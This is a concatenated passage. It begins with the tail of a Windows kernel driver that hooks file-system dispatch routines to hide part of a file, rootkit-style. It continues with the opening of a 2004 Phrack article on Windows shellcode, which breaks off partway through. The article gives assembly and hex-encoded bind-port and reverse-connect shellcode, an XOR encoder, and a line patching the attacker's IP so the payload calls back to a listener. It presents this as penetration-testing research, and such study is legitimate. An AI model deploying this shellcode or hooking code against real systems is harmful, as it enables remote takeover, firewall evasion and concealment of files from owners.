        PIO_STACK_LOCATION CISL = IoGetCurrentIrpStackLocation(Irp);
        if ((CISL->MajorFunction == IRP_MJ_QUERY_INFORMATION) &&
                ThisIsOurFile(FName))
        {
                //_asm int 3;
                switch (CISL->Parameters.QueryFile.FileInformationClass)
                {
                        //Information types that contains file size or current offset
                case FilePositionInformation:
                case FileEndOfFileInformation:
                case FileStandardInformation:
                case FileAllocationInformation:
                case FileAllInformation:
                        //_asm int 3;
                        HookIrpCompletion(CISL, (PIO_COMPLETION_ROUTINE)NewComplRtn, Irp-
>AssociatedIrp.SystemBuffer, CISL->Parameters.QueryFile.FileInformationClass);
                }
        }
        //Call original handler
        return OldQueryDisp(DeviceObject, Irp);
}

//Function handles IRP_MJ_SET_INFORMATION
NTSTATUS NewSetInfoDisp (
                                                  IN PDEVICE_OBJECT DeviceObject,
                                                  IN PIRP Irp)
{
        //_asm int 3;
        PIO_STACK_LOCATION CISL = IoGetCurrentIrpStackLocation(Irp);
        if (CISL->FileObject && ThisIsOurFile(FName))
        {
                //_asm int 3;
                switch (CISL->Parameters.QueryFile.FileInformationClass)
                {
                        //Information types that contains file size or current offset.
                        //In all cases modify CurrentByteOffset and/or size (EndOfFile)
                        //to hide first InvisiblePartSize bytes
                case FilePositionInformation:
                        ((PFILE_POSITION_INFORMATION)Irp->AssociatedIrp.SystemBuffer)->Cu
rrentByteOffset.QuadPart += InvisiblePartSize;
                        break;
                case FileEndOfFileInformation:
                        ((PFILE_END_OF_FILE_INFORMATION)Irp->AssociatedIrp.SystemBuffer)-
>EndOfFile.QuadPart += InvisiblePartSize;
                        break;
                case FileStandardInformation:
                        ((PFILE_STANDARD_INFORMATION)Irp->AssociatedIrp.SystemBuffer)->En
dOfFile.QuadPart += InvisiblePartSize;
                        break;
                case FileAllocationInformation:
                        //_asm int 3;
                        ((PFILE_ALLOCATION_INFORMATION)Irp->AssociatedIrp.SystemBuffer)->
AllocationSize.QuadPart += InvisiblePartSize;
                        break;
                case FileAllInformation:
                        ((PFILE_ALL_INFORMATION)Irp->AssociatedIrp.SystemBuffer)->Positio
nInformation.CurrentByteOffset.QuadPart += InvisiblePartSize;
                        ((PFILE_ALL_INFORMATION)Irp->AssociatedIrp.SystemBuffer)->Standar
dInformation.EndOfFile.QuadPart += InvisiblePartSize;
                        break;
                }
        }
        //Call original handler
        return OldSetInfoDisp(DeviceObject, Irp);
}

//Function handles IRP_MJ_DIRECTORY_CONTROL
NTSTATUS NewDirCtlDisp (
                                                  IN PDEVICE_OBJECT DeviceObject,
                                                  IN PIRP Irp)
{
        void *pBuffer;
        PIO_STACK_LOCATION CISL = IoGetCurrentIrpStackLocation(Irp);
//_asm int 3;
        if ((CISL->MajorFunction == IRP_MJ_DIRECTORY_CONTROL) &&
                (CISL->MinorFunction == IRP_MN_QUERY_DIRECTORY))
        {
                //Handle both ways of passing user supplied buffer
                if (Irp->MdlAddress)
                        pBuffer = MmGetSystemAddressForMdl(Irp->MdlAddress);
                else
                        pBuffer = Irp->UserBuffer;
                HookIrpCompletion(CISL, (PIO_COMPLETION_ROUTINE)NewComplRtn, pBuffer, ((P
QUERY_DIRECTORY)(&CISL->Parameters))->FileInformationClass);
        }
        //Call original handler
        return OldDirCtlDisp(DeviceObject, Irp);
}

#undef FName

//Function handles FastIoRead
BOOLEAN NewFastIoRead(
    IN PFILE_OBJECT FileObject,
    IN PLARGE_INTEGER FileOffset,
    IN ULONG Length,
    IN BOOLEAN Wait,
    IN ULONG LockKey,
    OUT PVOID Buffer,
    OUT PIO_STATUS_BLOCK IoStatus,
    IN PDEVICE_OBJECT DeviceObject
    )
{
        LARGE_INTEGER NewFileOffset;
        //_asm int 3;
        if ((FileObject) && (ThisIsOurFile(&FileObject->FileName)))
        {
                //_asm int 3;
                //Modify FileOffset to hide first InvisiblePartSize bytes
                NewFileOffset.QuadPart = FileOffset->QuadPart + InvisiblePartSize;
                return OldFastIoReadDisp(FileObject, &NewFileOffset, Length, Wait, LockKe
y, Buffer,
                        IoStatus, DeviceObject);
        }
        //Call original handler
        return OldFastIoReadDisp(FileObject, FileOffset, Length, Wait, LockKey, Buffer,
                IoStatus, DeviceObject);
}

//Function handles FastIoWrite
BOOLEAN NewFastIoWrite(
                                            IN PFILE_OBJECT FileObject,
                                            IN PLARGE_INTEGER FileOffset,
                                            IN ULONG Length,
                                            IN BOOLEAN Wait,
                                            IN ULONG LockKey,
                                            OUT PVOID Buffer,
                                            OUT PIO_STATUS_BLOCK IoStatus,
                                            IN PDEVICE_OBJECT DeviceObject
                                            )
{
        LARGE_INTEGER NewFileOffset;
        //_asm int 3;
        if ((FileObject) && (ThisIsOurFile(&FileObject->FileName)))
        {
                //_asm int 3;
                //Modify FileOffset to hide first InvisiblePartSize bytes
                NewFileOffset.QuadPart = FileOffset->QuadPart + InvisiblePartSize;
                return OldFastIoWriteDisp(FileObject, &NewFileOffset, Length, Wait, LockK
ey, Buffer,
                        IoStatus, DeviceObject);
        }
        return OldFastIoWriteDisp(FileObject, FileOffset, Length, Wait, LockKey, Buffer,
                IoStatus, DeviceObject);
}

//Function handles FastIoQueryStandartInfo
BOOLEAN NewFastIoQueryStandartInfo(
                                                                IN struct _FILE_OBJECT *F
ileObject,
                                                                IN BOOLEAN Wait,
                                                                OUT PFILE_STANDARD_INFORM
ATION Buffer,
                                                                OUT PIO_STATUS_BLOCK IoSt
atus,
                                                                IN struct _DEVICE_OBJECT
*DeviceObject
                                                                )
{
        //Call original handler
        BOOLEAN status = OldFastIoQueryStandartInfoDisp(FileObject, Wait, Buffer, IoStatu
s, DeviceObject);
        if ((FileObject) && (ThisIsOurFile(&FileObject->FileName)))
        {
                //_asm int 3;
                //Modify EndOfFile to hide first InvisiblePartSize bytes
                Buffer->EndOfFile.QuadPart -= InvisiblePartSize;
        }
        return status;
}

extern "C"
NTSYSAPI
NTSTATUS
NTAPI
ObReferenceObjectByName(
                                                IN PUNICODE_STRING ObjectPath,
                                                IN ULONG Attributes,
                                                IN PACCESS_STATE PassedAccessState OPTION
AL,
                                                IN ACCESS_MASK DesiredAccess OPTIONAL,
                                                IN POBJECT_TYPE ObjectType,
                                                IN KPROCESSOR_MODE AccessMode,
                                                IN OUT PVOID ParseContext OPTIONAL,
                                                OUT PVOID *ObjectPtr
                                                );

extern "C" PVOID IoDriverObjectType;

//Function hooks given dispatch function (MajorFunction)
VOID InterceptFunction(UCHAR MajorFunction,
                                           PDRIVER_OBJECT  pDriverObject,
                                           OPTIONAL PDRIVER_DISPATCH *OldFunctionPtr,
                                           OPTIONAL PDRIVER_DISPATCH NewFunctionPtr)
{
        PDRIVER_DISPATCH                                *TargetFn;

        TargetFn = &(pDriverObject->MajorFunction[MajorFunction]);
        //hook only if handler exists
        if (*TargetFn)
        {
                if (OldFunctionPtr) *OldFunctionPtr = *TargetFn;
                if (NewFunctionPtr) *TargetFn = NewFunctionPtr;
        }
}

//Function hooks given driver's dispatch functions
NTSTATUS Intercept(PWSTR pwszDeviceName)
{
        UNICODE_STRING                DeviceName;
        NTSTATUS status;
        KIRQL OldIrql;

        _asm int 3;

        pDriverObject = NULL;
        RtlInitUnicodeString(&DeviceName, pwszDeviceName);
        status = ObReferenceObjectByName(&DeviceName, OBJ_CASE_INSENSITIVE, NULL, 0, (POB
JECT_TYPE)IoDriverObjectType, KernelMode, NULL, (PVOID*)&pDriverObject);
        if (pDriverObject)
        {
                //Raise IRQL to avoid context switch
                //when some pointer is semi-modified
                KeRaiseIrql(HIGH_LEVEL, &OldIrql);
                //hook dispatch functions
                InterceptFunction(IRP_MJ_READ, pDriverObject, &OldReadDisp, NewReadWriteD
isp);
                InterceptFunction(IRP_MJ_WRITE, pDriverObject, &OldWriteDisp, NewReadWrit
eDisp);
                InterceptFunction(IRP_MJ_QUERY_INFORMATION, pDriverObject, &OldQueryDisp,
 NewQueryDisp);
                InterceptFunction(IRP_MJ_SET_INFORMATION, pDriverObject, &OldSetInfoDisp,
 NewSetInfoDisp);
                InterceptFunction(IRP_MJ_DIRECTORY_CONTROL, pDriverObject, &OldDirCtlDisp
, NewDirCtlDisp);
                //hook FastIo dispatch functions if FastIo table exists
                if (pDriverObject->FastIoDispatch)
                {
                        //     w2k [rus]
                        //It would be better to copy FastIo table to avoid
                        //messing with kernel memory protection, but it works as it is
                        OldFastIoReadDisp = pDriverObject->FastIoDispatch->FastIoRead;
                        pDriverObject->FastIoDispatch->FastIoRead = NewFastIoRead;
                        OldFastIoWriteDisp = pDriverObject->FastIoDispatch->FastIoWrite;
                        pDriverObject->FastIoDispatch->FastIoWrite = NewFastIoWrite;
                        OldFastIoQueryStandartInfoDisp = pDriverObject->FastIoDispatch->F
astIoQueryStandardInfo;
                        pDriverObject->FastIoDispatch->FastIoQueryStandardInfo = NewFastI
oQueryStandartInfo;
                }
                KeLowerIrql(OldIrql);
        }

        return status;
}

//Function cancels hooking
VOID UnIntercept()
{
        KIRQL OldIrql;
        if (pDriverObject)
        {
                KeRaiseIrql(HIGH_LEVEL, &OldIrql);
                InterceptFunction(IRP_MJ_READ, pDriverObject, NULL, OldReadDisp);
                InterceptFunction(IRP_MJ_WRITE, pDriverObject, NULL, OldWriteDisp);
                InterceptFunction(IRP_MJ_QUERY_INFORMATION, pDriverObject, NULL, OldQuery
Disp);
                InterceptFunction(IRP_MJ_SET_INFORMATION, pDriverObject, NULL, OldSetInfo
Disp);
                InterceptFunction(IRP_MJ_DIRECTORY_CONTROL, pDriverObject, NULL, OldDirCt
lDisp);
                if (pDriverObject->FastIoDispatch)
                {
                        pDriverObject->FastIoDispatch->FastIoRead = OldFastIoReadDisp;
                        pDriverObject->FastIoDispatch->FastIoWrite = OldFastIoWriteDisp;
                        pDriverObject->FastIoDispatch->FastIoQueryStandardInfo = OldFastI
oQueryStandartInfoDisp;
                }
                KeLowerIrql(OldIrql);
                ObDereferenceObject(pDriverObject);
        }
}

|=[ EOF ]=---------------------------------------------------------------=|
                              ==Phrack Inc.==

               Volume 0xXX, Issue 0x3e, Phile #0x07 of 0x10


|=------------=[ History and Advances in Windows Shellcode ]=--------------=|
|=-------------------------------------------------------------------------=|
|=----------------=[ sk <sk at scan-associates d0t net> ]=-----------------=|
|=------------------------=[ June 22nd, 2004 ]=--------------------------=|
```

--[Contents

```
        1. Abstract
        2. Introduction to shellcode
                a. Why shellcode?
                b. Windows shellcode skeleton
                        i. Getting EIP
                        ii. Decoder
                        iii. Getting address of required function
                        iv. Locating Kernel32 base memory
                        v. Getting GetProcAddress()
                        vi. Getting other functions by name
                        vii. Spawning a shell
                c. Compiling our shellcode
        3. The connection
                a. Bind to port shellcode
                        i. Bind to port shellcode implementation
                        ii. Problem with Bind to port shellcode
                b. Reverse connect
                        i. Reverse connect shellcode implementation
                        ii. Problem with reverse connect shellcode
        4. One-way shellcode
                a. Find socket shellcode
                        i. Problem with find socket shellcode
                b. Reuse address shellcode
                        i. Reuse address shellcode implementation
                        ii. Problem with reuse address shellcode
                c. Rebind socket
                        i. Rebind socket shellcode implementation
                d. Other one-way shellcode
        5. Transferring file using shellcode
                a. Uploading file with debug.exe
                b. Uploading file with VBS
                c. Retrieving file from command line
        6. Avoiding IDS detection
        7. Restarting vulnerable service
        8. End of shellcode?
        9. Greetz!
        10. References
        11. The code
```

--[1. Abstract

Firewall is everywhere in the Internet now. Most of the exploits released in the public have little concern over firewall rules because they are just proof of concept. In real world, we would encounter targets with firewall that will make exploitation harder. We need to overcome these obstacles for a successful penetration testing job. The research of this paper started when we need to take over (own) a machine which is heavily protected with rigid firewall rules. Although we can reach the vulnerable service but the strong firewall rules between us and the server hinder all standard exploits useless.

The objective of the research is to find alternative ways which allow penetration tester to take control of a machine after a successful buffer overflow. A successful buffer overflow in a sense that it will eventually leads to arbitrary code execution. These alternative mechanisms should succeed where others fail even in the most rigid

firewall rules.

In our research to find a way to by pass these troublesome firewall rules, we looked into various existing techniques used by exploits in the public and why they fail. Then, we found several mechanisms that will work, but dependence to the vulnerable service. Although we can take over the server using these techniques, we take one step further to develop a more generic technique which is not dependence to any service and can be reuse in most other buffer overflows.

This paper will start with dissection on a standard Win32 shellcode as an introduction. We will then explore the techniques being used by proof of concept codes to allow attacker to control the target and their limitations. Then, we will introduce a few alternatives techniques which we call "One-way shellcode" and how they may by pass firewall rules. Finally, we also discussed on a possible way to transfer file from command line without breaking the firewall rule.

--[2. Introduction to shellcode

An exploit usually consists of two major components:
1.   Exploitation technique
2.   Payload

The objective of the exploitation part is to divert the execution path of the vulnerable program. We can achieve that via one of these techniques:

*   Stack-based Buffer Overflow
*   Heap-based Buffer Overflow
*   Format String
*   Integer Overflow
*   Memory corruption, etc

Even though we may use one or more of those exploitation techniques to control the execution path of a program, each vulnerability need to be exploited differently. Every vulnerability has different way to trigger the bug. We may use different buffer size or character set to trigger the overflow. Although we can probably use the same technique for vulnerabilities in the same class, we cannot use the same code.

Once we control of the execution path, we probably want it to execute our code. Thus, we need to include these code or instruction set in our exploit. The part of code which allows us to execute arbitrary code is known as payload. The payload can virtually do everything a computer program can do with the permission of the vulnerable service.

A payload that spawns you a shell is known as a shellcode. It allows interactive command execution. Unlike Exploitation technique, a well designed shellcode can easily be reused in other exploits. We will try to build shellcode that can be reused. A basic requirement of a shellcode is the shell and a connection that allow use to use it interactively.

--[2.a Why shellcode?

Why shellcode? Simply because it is the simplest way that allows the attacker to explore the target system interactively. It might give the attacker the ability to discover internal network, to further penetrate into other computers. A simple "net view /domain" command in Windows box would review many other easy targets.

A shell may also allow upload/download file/database, which is usually needed as proof of successful pen-test. You also may easily install trojan horse, key logger, sniffer, Enterprise worm, WinVNC, etc. An Enterprise Worm could be a computer worm which was written specifically to infect other machine in the same domain using the credential of the primary domain controller.

A shell is also useful to restart the vulnerable services. This will keep the service running and your client happy. But more importantly, restarting the vulnerable service usually allow us to attack the service again. We also may clean up traces like log files and events with a shell. There are just many other possibilities.

However, spawning a shell is not the only thing you can do in your payload. As demonstrated by LSD in their Win32 ASM component, you can create a payload that loop and wait for command from the attacker. The attacker could issue a command to the payload to create new connection, upload/download file or spawn a shell. There are also a few others payload strategies in which the payload will loop and wait for additional payload from the attacker.

Regardless whether a payload is spawning a shell or loop to wait for instructions, it still needs to communicate with the attacker. Although we are using payload that spawns a shell throughout this article, the mechanisms being use for communication can be use in other payload strategy.

--[2.b Windows shellcode skeleton

Shellcode usually start by getting to know where you are during the execution by grapping the EIP value. And then, a decoding process will take place. The process will then jump into the decoded memory area where execution can continue. Before we can do anything useful, we need to find addresses of all functions and API that we need to use in the shellcode. With that, we can setup a socket, and finally spawn a shell.

* Getting EIP
* Decoder
* Getting addresses of required functions
* Setup socket
* Spawning shell

Let’s look into what these components suppose to do, in greater detail.

--[2.b.i Getting EIP

We would like to make our shellcode as reusable as possible. For that, we will avoid using any fixed address which could change in different environment. We will use relative addressing as much as we could. To start with, we need to know where we are in the memory. This address will be our base address. Any variable or function in the shellcode will be relative to this address. To get this address, we can use a CALL and a POP instruction. As we already know, whenever we are calling a function, the return value is push into the stack just before the function is called. So, if the first thing we do in the function is a POP command, we will obtain the return value in a register. As shown below, EAX will be 451005.

```
450000:
                label1: pop eax
450005:                 ... (eax = 451005)

451000:                 call label1             ;start here!
451005:
```

Most likely you will find something similar to the code below in a shellcode, which does about the same thing.

```
450000:                         jmp label1
450002:
                label2:         jmp cont
450004:
```

```
                label1:         call label2
450009:
                cont:           pop eax
                                ...     (eax = 450009)
```

Another interesting mechanism being use to obtain the EIP is to make use of a few special FPU instructions. This was implemented by Aaron Adams in Vuln-Dev mailing list in the discussion to create pure ASCII shellcode. The code uses fnstenv/fstenv instructions to save the state of the FPU environment.

```
        fldz
        fnstenv [esp-12]
        pop ecx
        add cl, 10
        nop
```

ECX will hold the address of the EIP. However, these instructions will generate non-standard ASCII characters.

--[2.b.ii Decoder

Buffer overflow usually will not allow NULL and a few special characters. We can avoid using these characters by encoding our shellcode. The easiest encoding scheme is the XOR encoding. In this encoding, we will XOR each char in our shellcode with a predefined value. During execution, a decoder will translate the rest of the code back to real instruction by XOR it again with the predefined value. As shown here, we can set the number of byte we want to decode in ecx, and while eax is pointing to the starting point of our encoded shellcode. We xor the destination byte by byte with 0x96 until the loop over. There are other more advance encoding schemes, of cause. We can use a DWORD xor value instead of a char to encode 4 bytes at a time. We also may break the code apart by encoding them using a different xor key. All with the purpose to get rid of unusable chars in our shellcode.

```
        xor     ecx, ecx
        mov     cl, 0C6h                        ;size
loop1:
        inc     eax
        xor     byte ptr [eax], 96h
        loop    loop1
```

The Metasploit project (http://metasploit.com/) contains a few very useful encoders worth checking.

--[2.b.iii Getting address of required function

After the decoding process, we will jump into the memory area where the decoded shellcode start to continue our execution. Before we can do anything useful, we must locate the address of all APIs that we need to use and store it in a jump table. We are not going to use any fixed address to API because it is different between service packs. To get the address of API we need, we can use an API called GetProcAddress(). By supplying the name of the function we need to this API, it will return the address where we can call to use it. To obtain the address of GetProcAddress() itself, we can search the export table of the Kernel32.dll in the memory. Kernel32.dll image is located predefined in a memory location depending on the OS.

```
*       NT - 0x77f00000
*       2kSP2 & SP3 - 0x77e80000
*       WinXP - 0x77e60000
```

Since we know the default base memory of kernel32.dll is located at these locations, we can start looping backward from 0x77f00000 to look for "MZ\x90" byte sequences. Kernel32 start with "MZ\x90" mark

just like any Windows application. This trick was used by High Speed
Junky (HSJ) in his exploit and it works quite nicely for all the
above OS and service pack. However Windows 2000 SP4's Kernel32.dll is
located at 0x7c570000. In order to scan the memory from 0x77f00000,
we need to setup an exception handler that will catch invalid memory
access.

--[2.b.iv Locating Kernel32 base memory

However, there is a better method to get the kernel32 base memory.
Using the fs selector, we can get into our PEB. By searching the
PEB_LDR_DATA structure, we will find the list of DLL which our
vulnerable program initialized when it start. The list of DLL will be
loaded in sequence, first, NTDLL, followed by Kernel32. So, by
traveling one nod forward in the list, we will get the base memory of
the Kernel32.dll. This technique, complete with the code, has been
published by researchers in VX-zine, then used by LSD in their
Windows Assembly component.

```
        mov   eax,fs:[30h]             ; PEB  base
        mov   eax,[eax+0ch]            ; goto PEB_LDR_DATA
        ; first entry in InInitializationOrderModuleList
        mov   esi,[eax+1ch]
        lodsd                                   ; forward to next LIST_ENTRY
        mov   ebx,[eax+08h]            ; Kernel32 base memory
```

--[2.b.v Getting GetProcAddress()

Once we know the base address of Kernel32.dll, we can locate its
Export Table and look for "GetProcAddress" string. We also can get
the total of exported functions. Using the number, we loop until we
find the string.

```
        mov     esi,dword ptr [ebx+3Ch]         ;to PE Header
        add     esi,ebx
        mov     esi,dword ptr [esi+78h]         ;to export table
        add     esi,ebx
        mov     edi,dword ptr [esi+20h]         ;to export name table
        add     edi,ebx
        mov     ecx,dword ptr [esi+14h]         ;number of exported function
        push    esi
        xor     eax,eax                         ;our counter
```

For each address in the jump table, we will check if the destination
name is match with "GetProcAddress". If not, we increase EAX by one
and continue searching. Once we found a match, EAX will be holding
our counter. Using the following formula, we can obtain the real
address of GetProcAddress().

ProcAddr = (((counter * 2) + Ordinal) * 4) + AddrTable + Kernel32Base

We count until we reach "GetProcAddress". Multiply the index by 2,
add it to the address of exported ordinals table. It should now point
to the ordinal of GetProcAddress(). Take the value, multiply it by 4.
Total it up with the address of the addrress of the table and
Kernel32 base address, we will get the real address of the
GetProcAddress(). We can use the same technique to get the address of
any exported function inside Kernel32.

--[2.b.vi Getting other functions by name

Once we get the address of GetProcAddress(), we can easily obtain
address of any other API. Since there are quite a number of APIs that
we need to use, we (actually, most of these codes were dissass from
HSJ's exploit) build a function that take a function name and return
the address. To use the function, set ESI pointing to the name of the
API we want to load. It must be NULL terminated. Set EDI point to the

jump table. A jump table is just a location where we store all
addresses of API we need to call. Set ECX to number of API we want it
to resolve.

In this example, we call to load 3 APIs:

```
        mov     edi,esi                 ;EDI is the output, our jump table
        xor     ecx,ecx
        mov     cl,3                    ;Load 3 APIs
        call    loadaddr
```

The "loadaddr" function that get the job done:

```
loadaddr:
        mov     al,byte ptr [esi]
        inc     esi
        test    al,al
        jne     loadaddr        ;loop till we found a NULL
        push    ecx
        push    edx
        push    esi
        push    ebx
        call    edx             ;GetProcAddress(DLL, API_Name);
        pop     edx
        pop     ecx
        stosd                   ;write the output to EDI
        loop    loadaddr        ;loop to get other APIs
        ret
```

--[2.b.vii Spawning a shell

Once we have gone thru those troublesome API address loading, we can
finally do something useful. To spawn a shell in Windows, we need to
call the CreateProcess() API. To use this API, we need to set up the
STARTUPINFO in such a way that, the input, output and error handler
will be redirected to a socket. We also will set the structure so
that the process will have no window. With the structure setup, we
just need to call CreateProcess to launch "cmd.exe" to get an
interactive command shell in windows.

```
;ecx is 0
        mov     byte ptr [ebp],44h              ;STARTUPINFO size
        mov     dword ptr [ebp+3Ch],ebx         ;output handler
        mov     dword ptr [ebp+38h],ebx         ;input handler
        mov     dword ptr [ebp+40h],ebx         ;error handler
;STARTF_USESTDHANDLES |STARTF_USESHOWWINDOW
        mov     word ptr [ebp+2Ch],0101h
        lea     eax,[ebp+44h]
        push    eax
        push    ebp
        push    ecx
        push    ecx
        push    ecx
        inc     ecx
        push    ecx
        dec     ecx
        push    ecx
        push    ecx
        push    esi
        push    ecx
        call    dword ptr [edi-28] ;CreateProcess
```

--[2.c Compiling our shellcode

The Code section in the end of the paper contains source code
bind.asm. bind.asm is a complete shellcode written in Assembly
Language which will create a shell in Windows and bind it to a
specific port. Compile bind.asm:

```
# tasm -l bind.asm
```

It will produce 2 files:
1.   bind.obj - the object code
2.   bind.lst - assembly listing

If we open bind.obj with a hex editor, we will see that the object
code start with something similar to this:

```
01)     80 0A 00 08 62 69 6E 64-2E 61 73 6D 62 88 20 00   ....bind.asmb. .
02)     00 00 1C 54 75 72 62 6F-20 41 73 73 65 6D 62 6C   ...Turbo Assembl
03)     65 72 20 20 56 65 72 73-69 6F 6E 20 34 2E 31 99   er  Version 4.1.
04)     88 10 00 40 E9 49 03 81-2F 08 62 69 6E 64 2E 61   ...@.I../.bind.a
05)     73 6D 2F 88 03 00 40 E9-4C 96 02 00 00 68 88 03   sm/...@.L....h..
06)     00 40 A1 94 96 0C 00 05-5F 54 45 58 54 04 43 4F   .@......_TEXT.CO
07)     44 45 96 98 07 00 A9 B3-01 02 03 01 FE 96 0C 00   DE..............
08)     05 5F 44 41 54 41 04 44-41 54 41 C2 98 07 00 A9   ._DATA.DATA.....
09)     00 00 04 05 01 AE 96 06-00 04 46 4C 41 54 39 9A   ..........FLAT9.
10)     02 00 06 5E 96 08 00 06-44 47 52 4F 55 50 8B 9A   ...^....DGROUP..
11)     04 00 07 FF 02 5A 88 04-00 40 A2 01 91 A0 B7 01   .....Z...@......
12)     01 00 00 EB 02 EB 05 E8-F9 FF FF FF 58 83 C0 1B   ............X...
13)     ...
14)     5A 59 AB E2 EE C3 99 8A-07 00 C1 10 01 01 00 00   ZY..............
15)     9C 6D 8E 06 D2 7C 26 F6-06 05 00 80 74 0E F7 06   .m...|&.....t...
```

Our shellcode start with hex code of 0xEB, 0x02 as show in line 12 of
the partial hex dump above. It will end with 0xC3 as shown in line 14.
We need to use a hex editor to remove the first 176 bytes and the
last 26 bytes. (You don't need to do this if you are using NASM
compiler, but the author has been using TASM since his MS-DOS age).

Now that we have the shellcode in its pure binary form, we just need
to build a simple program that read from this file and produce the
corresponding hex value in a C string. Refer to the Code section
(xor.cpp) for the code that will do that. The output of the program
is our shellcode in C string syntax:

```
# xor bind.obj
BYTE shellcode[436] = ""
"\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x58\x83\xC0\x1B\x8D\xA0\x01"
...
"\xE2\xEE\xC3";
```

--[3 The connection

We have seen some of the basic building block of a shellcode. But we
have not cover the connection part of the shellcode. As mentioned, a
shellcode needs a shell and a connection to allow interactive command.
We want to be able to send any command and see the output. Regardless
if we are spawning a shell, transferring file or loop to wait for
further command, we need to setup a connection. There are three
published techniques: Bind to port, Reverse connect and Find socket
shellcode. We will look into each one of these, as well as their
limitation. Along the way, various exploits that uses these shellcode
will be demonstrated to get a better understanding.

--[3.a Bind to port shellcode

Bind to port shellcode is popular being used in proof of concept
exploit. The shellcode setup a socket, bind it to a specific port and
listen for connection. Upon accepting a connection, you spawn a shell.

This following APIs are needed for this type of connection:

*   WSASocket()
*   bind()
*   listen()

```
*       accept()
```

It is important to note that we are using WSASocket() and not
socket() to create a socket. Using WSASocket will create a socket
that will not have an overlapped attribute. Such socket can be use
directly as a input/output/error stream in CreateProcess() API. This
eliminates the need to use anonymous pipe to get input/output from a
process which exist in older shellcode. The size of the shellcode
shrinks quite a bit using this technique. It was first introduced by
David Litchfield. You can find many of Bind too port shellcode in
Packetstorm Security by debugging shellcode of these exploits:

```
*       slxploit.c
*       aspcode.c
*       aspx_brute.c
```

--[3.a.1 Bind to port shellcode implementation

```
        mov     ebx,eax
        mov     word ptr [ebp],2
        mov     word ptr [ebp+2],5000h          ;port
        mov     dword ptr [ebp+4], 0            ;IP
        push    10h
        push    ebp
        push    ebx
        call    dword ptr [edi-12]              ;bind
        inc     eax
        push    eax
        push    ebx
        call    dword ptr [edi-8]               ;listen (soc, 1)
        push    eax
        push    eax
        push    ebx
        call    dword ptr [edi-4]               ;accept
```

Compiling bind.asm will create shellcode (435 bytes) that will work
with any service pack. We will test the bind to port shellcode using
a simple testing program - testskode.cpp. Copy the shellcode (in C
string) generated the xor program and parse it into testskode.cpp:

```
BYTE shellcode[436] = ""
"\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x58\x83\xC0\x1B\x8D\xA0\x01"
...
// this is the bind port of the shellcode
        *(unsigned short *)&shellcode[0x134] = htons(1212) ^ 0x0000;

        void *ma = malloc(10000);
        memcpy(ma,shellcode,sizeof(shellcode));

        __asm
    {
                mov     eax,ma
                int 3
                        jmp    eax
    }
        free(ma);
```

Compile and running testskode.cpp will result in a break point just
before we jump to the shellcode. If we let the process continue, it
will bind to port 1212 and ready to accept connection. Using netcat,
we can connect to port 1212 to get a shell.

--[3.a.2 Problem with bind to port shellcode

Using proof of concept exploit with bind to port shellcode against
server in organization with firewall usually will not work. Even
though we successfully exploited the vulnerability and our shellcode

executed, we will have difficulties connecting to the bind port. Usually, firewall will allow connection to popular services like port 25, 53, 80, etc. But usually these ports are already in used by other applications. Sometimes the firewall rules just did not open these ports. We have to assume that the firewall block every port, expect for the port number of the vulnerable service.

--[3.b Reverse connect shellcode

To overcome the limitation of bind to port shellcode, many exploits prefer to use reverse connection shellcode. Instead of binding to a port waiting for connection, the shellcode simply connect to a predefined IP and port number to drop it a shell.

We must include our IP and port number which the target must connect to give a shell in the shellcode. We also must run netcat or anything similar in advance, ready to accept connection. Of cause, we must be using IP address which the victim machine is reachable. Thus, usually we use public IP.

The following APIs are needed to setup this type of connection:

```
*       WSASocket()
*       connect()
```

You can find many of these examples in Packetstorm Security by debugging shellcode of these exploits:

```
*       jill.c
*       iis5asp_exp.c
*       sqludp.c
*       iis5htr_exp.c
```

--[3.b.1 Reverse connect shellcode implementation

```
push    eax
push    eax
push    eax
push    eax
inc     eax
push    eax
inc     eax
push    eax
call    dword ptr [edi-8]       ;WSASocketA
mov     ebx,eax
mov     word ptr [ebp],2
mov     word ptr [ebp+2],5000h  ;port in network byte order
mov     dword ptr [ebp+4], 2901a8c0h ;IP in network byte order
push    10h
push    ebp
push    ebx
call    dword ptr [edi-4] ;connect
```

Compiling reverse.asm will create shellcode (384 bytes) that will work with any service pack. We will use this shellcode in our JRun/ColdFusion exploit. However there is still one problem. This exploit will not accept NULL character. We need to encode our shellcode with an XOR shield. We can use the xor.cpp to encode our shellcode using its third parameter.

First, let's compile reverse.asm:

```
# \tasm\bin\tasm -l reverse.asm
```

Then, hex-edit reverse.obj to get our shellcode. Refer to bind to port shellcode on how to do it. Now, use xor.cpp to print the shellcode:

```
# xor reverse.obj
BYTE shellcode[384] = ""
"\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x58\x83\xC0\x1B\x8D\xA0\x01"
"\xFC\xFF\xFF\x83\xE4\xFC\x8B\xEC\x33\xC9\x66\xB9\x5B\x01\x80\x30"
"\x96\x40\xE2\xFA\xE8\x60\x00\x00\x00\x47\x65\x74\x50\x72\x6F\x63"
...
```

The first 36 bytes of the shellcode is our decoder. It has been
carefully crafted to avoid NULL. We keep this part of the shellcode.
Then, we run xor.cpp again with an extra parameter to xor the code
with 0x96.

```
# xor reverse.obj 96
BYTE shellcode[384] = ""
"\x7D\x94\x7D\x93\x7E\x6F\x69\x69\x69\xCE\x15\x56\x8D\x1B\x36\x97"
"\x6A\x69\x69\x15\x72\x6A\x1D\x7A\xA5\x5F\xF0\x2F\xCD\x97\x16\xA6"
"\x00\xD6\x74\x6C\x7E\xF6\x96\x96\x96\xD1\xF3\xE2\xC6\xE4\xF9\xF5"
...
"\x56\xE3\x6F\xC7\xC4\xC0\xC5\x69\x44\xCC\xCF\x3D\x74\x78\x55";
```

We take bytes sequence from the 37th bytes onwards. Combine the
encoder and the xored shellcode, we will get the actual shellcode
that we can use in our exploit.

```
BYTE shellcode[384] = ""
"\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x58\x83\xC0\x1B\x8D\xA0\x01"
"\xFC\xFF\xFF\x83\xE4\xFC\x8B\xEC\x33\xC9\x66\xB9\x5B\x01\x80\x30"
"\x96\x40\xE2\xFA"
"\x7E\xF6\x96\x96\x96\xD1\xF3\xE2\xC6\xE4\xF9\xF5"
...
"\x56\xE3\x6F\xC7\xC4\xC0\xC5\x69\x44\xCC\xCF\x3D\x74\x78\x55";
```

We can use the following statements in our exploit to change the IP
and port to our machine which has netcat listening for a shell.

```
*(unsigned int *)&reverse[0x12f] = resolve(argv[1]) ^ 0x96969696;
